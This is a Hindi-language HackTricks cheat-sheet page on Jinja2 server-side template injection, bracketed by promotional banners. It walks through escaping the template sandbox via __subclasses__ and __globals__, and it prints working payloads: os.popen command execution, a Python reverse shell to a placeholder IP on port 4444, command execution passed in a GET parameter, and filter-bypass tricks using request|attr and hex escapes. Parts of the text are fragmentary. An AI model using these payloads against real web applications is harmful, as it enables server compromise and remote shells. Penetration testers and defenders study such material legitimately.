<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
यदि डीबग एक्सटेंशन सक्रिय है, तो एक `debug` टैग उपलब्ध होगा जो वर्तमान संदर्भ के साथ-साथ उपलब्ध फिल्टर्स और टेस्ट्स को डंप करने के लिए होगा। यह देखने के लिए उपयोगी है कि टेम्प्लेट में क्या उपयोग करने के लिए उपलब्ध है बिना डीबगर सेटअप किए।
सबसे पहले, Jinja इंजेक्शन में आपको **सैंडबॉक्स से बाहर निकलने का तरीका खोजना होता है** और सामान्य पायथन निष्पादन प्रवाह तक पुनः पहुँच प्राप्त करनी होती है। ऐसा करने के लिए, आपको **उन ऑब्जेक्ट्स का दुरुपयोग करना होता है** जो **नॉन-सैंडबॉक्स्ड वातावरण से होते हैं लेकिन सैंडबॉक्स से सुलभ होते हैं**।
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में ऑब्जेक्ट्स username और email **नॉन-सैंडबॉक्स्ड पायथन वातावरण से आते हैं** और **सैंडबॉक्स्ड वातावरण के अंदर सुलभ होंगे**।\
\*\*\*\*इसके अलावा, अन्य ऑब्जेक्ट्स भी होते हैं जो **सैंडबॉक्स्ड वातावरण से हमेशा सुलभ होंगे**, ये हैं:
फिर, इन ऑब्जेक्ट्स से हमें **`<class 'object'>`** तक पहुंचना होता है ताकि परिभाषित **क्लासेस** की **पुनर्प्राप्ति** करने का प्रयास कर सकें। इसलिए क्योंकि इस ऑब्जेक्ट से हम **`__subclasses__`** मेथड को कॉल कर सकते हैं और **नॉन-सैंडबॉक्स्ड** पायथन एन्वायरनमेंट से सभी क्लासेस तक **पहुंच** सकते हैं।
उस **ऑब्जेक्ट क्लास** तक पहुंचने के लिए, आपको एक **क्लास ऑब्जेक्ट** तक **पहुंचना** होगा और फिर **`__base__`**, **`__mro__()`[-1]** या `.`**`mro()[-1]`** तक पहुंचना होगा। और फिर, इस **ऑब्जेक्ट क्लास** तक पहुंचने के **बाद** हम **`__subclasses__()`** को **कॉल** करते हैं।
**पुनः प्राप्त करने के बाद** `<class 'object'>` और `__subclasses__` को कॉल करने के बाद, हम अब उन क्लासेस का उपयोग करके फाइलें पढ़ और लिख सकते हैं और कोड निष्पादित कर सकते हैं।
`__subclasses__` को कॉल करने से हमें **सैकड़ों नए फंक्शन्स तक पहुंचने का अवसर मिला है**, हम **फाइल क्लास तक पहुंचकर** फाइलों को **पढ़ने/लिखने** के लिए या किसी भी क्लास तक पहुंचकर खुश होंगे जो कमांड्स निष्पादित करने की अनुमति देता है (जैसे `os`).
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
[**ग्लोबल ऑब्जेक्ट्स**](jinja2-ssti.md#accessing-global-objects) से एक और तरीका है **RCE तक पहुँचने का उस क्लास का उपयोग किए बिना।**\
यदि आप उन ग्लोबल ऑब्जेक्ट्स में से किसी भी **फंक्शन** तक पहुँचने में सफल होते हैं, तो आप **`__globals__.__builtins__`** तक पहुँच सकते हैं और वहाँ से **RCE** बहुत **सरल** है।
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.